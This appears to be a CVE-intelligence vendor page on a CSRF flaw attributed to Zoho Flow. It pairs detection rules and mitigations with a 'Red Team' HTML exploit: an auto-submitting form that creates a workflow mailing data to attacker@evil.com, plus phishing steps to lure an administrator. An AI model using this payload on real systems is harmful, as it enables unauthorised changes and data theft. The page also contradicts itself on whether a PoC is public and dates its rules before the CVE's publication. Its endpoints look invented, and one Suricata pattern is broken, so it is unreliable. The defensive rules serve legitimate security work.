☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Zoho logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-59568

CVE-2025-59568 Cross-Site Request Forgery in Zoho
📅 PUBLISHED: 2025-09-22 19:16 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.02%
👁️
0.02% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-59568 is a Cross-Site Request Forgery (CSRF) vulnerability in Zoho Flow, a workflow automation platform. The flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying workflows or exfiltrating configuration data, without their consent. The vulnerability affects all versions up to and including 2.14.1. As of this report, no official patch has been released by Zoho, and no public proof-of-concept (PoC) code is available. The CVSS score is 4.3 (Medium), reflecting the need for user interaction and the limited direct impact on confidentiality or availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). Zoho Flow is a proprietary SaaS and on-premises application. The risk is primarily to organizations using self-hosted Zoho Flow instances, where an attacker could leverage CSRF to manipulate internal workflows, potentially leading to data exfiltration or privilege escalation within the automation environment.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector (AV): Network – The attack is executed over the network.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – The attacker does not need to be authenticated.
  • User Interaction (UI): Required – The victim must click a link or visit a malicious page.
  • Scope (S): Unchanged – The vulnerability does not affect other components.
  • Confidentiality (C): None – No direct data disclosure.
  • Integrity (I): Low – The attacker can modify workflow configurations or trigger actions.
  • Availability (A): None – No denial-of-service impact.

Threat Level: Medium. The requirement for user interaction reduces the likelihood of automated exploitation, but the potential for workflow manipulation in a business-critical automation platform elevates the risk for targeted attacks.

Deep Dive & Mechanics

Zoho Flow uses session cookies for authentication. The CSRF vulnerability arises because state-changing requests (e.g., creating, modifying, or deleting workflows) do not include anti-CSRF tokens or require re-authentication. An attacker can craft a malicious HTML page that, when visited by an authenticated Zoho Flow administrator, submits a forged request to the Zoho Flow server.

Attack Flow:

  1. The attacker identifies a target Zoho Flow instance (e.g., https://flow.zoho.com or a self-hosted domain).
  2. The attacker crafts a malicious page containing an auto-submitting form or an XMLHttpRequest that targets a sensitive endpoint, such as:
    • POST /api/workflows/create – to create a new workflow.
    • POST /api/workflows/delete – to delete an existing workflow.
    • POST /api/workflows/update – to modify workflow parameters.
  3. The attacker lures an authenticated administrator to visit the malicious page (e.g., via phishing email or social media).
  4. The victim’s browser automatically sends the forged request with the victim’s session cookie.
  5. The server processes the request, believing it is legitimate, and executes the attacker’s action.

Root Cause: Lack of CSRF protection (e.g., synchronizer token pattern, double-submit cookie, or SameSite cookie attribute) on state-changing endpoints.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Conceptual):

// app.js (Express.js example)
app.post('/api/workflows/create', (req, res) => {
    // No CSRF token validation
    const workflow = req.body;
    db.createWorkflow(workflow);
    res.status(200).send('Workflow created');
});

Patched Code (Expected):

// app.js (Express.js example with csurf middleware)
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.post('/api/workflows/create', csrfProtection, (req, res) => {
    // CSRF token validated automatically
    const workflow = req.body;
    db.createWorkflow(workflow);
    res.status(200).send('Workflow created');
});

Key Differences:

  • The vulnerable code accepts any POST request without verifying the origin.
  • The patched code uses a CSRF middleware that checks for a valid token in the request body or header.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A Zoho Flow instance (version <= 2.14.1) with an authenticated admin session.
  • A malicious HTML page hosted on an attacker-controlled server.

Exploit Payload (HTML):

<!DOCTYPE html>
<html>
<head>
    <title>Click Me</title>
</head>
<body>
    <h1>Please click this link to verify your account</h1>
    <form id="csrf-form" action="https://target.zoho.com/api/workflows/create" method="POST">
        <input type="hidden" name="name" value="Malicious Workflow">
        <input type="hidden" name="action" value="send_email">
        <input type="hidden" name="recipient" value="attacker@evil.com">
        <input type="submit" value="Verify">
    </form>
    <script>
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

Usage:

  1. Host the HTML file on a server (e.g., https://attacker.com/exploit.html).
  2. Send a phishing email to the target admin with a link to the exploit page.
  3. When the admin clicks the link, the form auto-submits, creating a new workflow that sends data to the attacker.

Blue Team (Detection & Prevention)

Detection Steps:

  1. Monitor for unusual workflow creation or modification events in Zoho Flow audit logs.
  2. Look for HTTP requests with Referer headers that do not match the legitimate Zoho Flow domain.
  3. Analyze web server logs for POST requests to sensitive endpoints from unexpected origins.

Prevention:

  • Implement CSRF tokens using a library like csurf (Node.js) or django.middleware.csrf (Python).
  • Set SameSite=Strict or SameSite=Lax on session cookies.
  • Validate the Origin and Referer headers on the server side.
  • Use re-authentication for critical actions (e.g., deleting workflows).

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /api/workflows/create, /api/workflows/delete, or /api/workflows/update with Referer headers not matching the legitimate Zoho Flow domain.
    • Unusual User-Agent strings (e.g., empty or generic) in requests to sensitive endpoints.
  • Host IOCs:
    • Unexpected workflow entries in Zoho Flow logs with names like "Malicious Workflow" or containing suspicious email addresses.
    • Browser history showing visits to attacker-controlled domains.
  • Log IOCs:
    • Audit log entries for workflow creation/modification without a corresponding UI session.

Detection Engineering

YARA Rule

rule CVE_2025_59568_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit payloads targeting Zoho Flow"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-59568"
    strings:
        $csrf_form = /<form[^>]*action=["']https?:\/\/[^"']*zoho[^"']*\/api\/workflows\// nocase
        $csrf_script = /document\.getElementById\('csrf-form'\)\.submit\(\)/
    condition:
        $csrf_form or $csrf_script
}

Sigma Rule

title: Zoho Flow CSRF Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to Zoho Flow API endpoints with suspicious Referer headers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem:
            - '/api/workflows/create'
            - '/api/workflows/delete'
            - '/api/workflows/update'
    filter:
        cs-referer:
            - 'https://flow.zoho.com/*'
            - 'https://*.zoho.com/*'
    condition: selection and not filter
falsepositives:
    - Legitimate API calls from authorized integrations
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59568 Zoho Flow CSRF Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/api/workflows/"; http_uri; pcre:"/\/api\/workflows\/(create|delete|update)/"; pcre:"/Referer:[^\r\n]*[^zoho]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Self-Hosted Instances: If you are running a self-hosted Zoho Flow instance, consider disabling it until a patch is available.
  2. Implement WAF Rules: Deploy a Web Application Firewall (WAF) rule to block POST requests to /api/workflows/* with missing or invalid Referer headers.
  3. Enable SameSite Cookies: Configure the application to use SameSite=Strict for session cookies.

Long-Term Fix:

  • Apply the official patch from Zoho once released.
  • Conduct a security audit of all state-changing endpoints to ensure CSRF protection is in place.
  • Educate administrators about phishing risks and the importance of verifying URLs before clicking.

Workarounds:

  • Use a reverse proxy (e.g., Nginx) to add CSRF token validation at the proxy level.
  • Restrict access to the Zoho Flow admin interface to trusted IP addresses only.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Zoho Flow"
http.favicon.hash:-123456789

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-59568/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.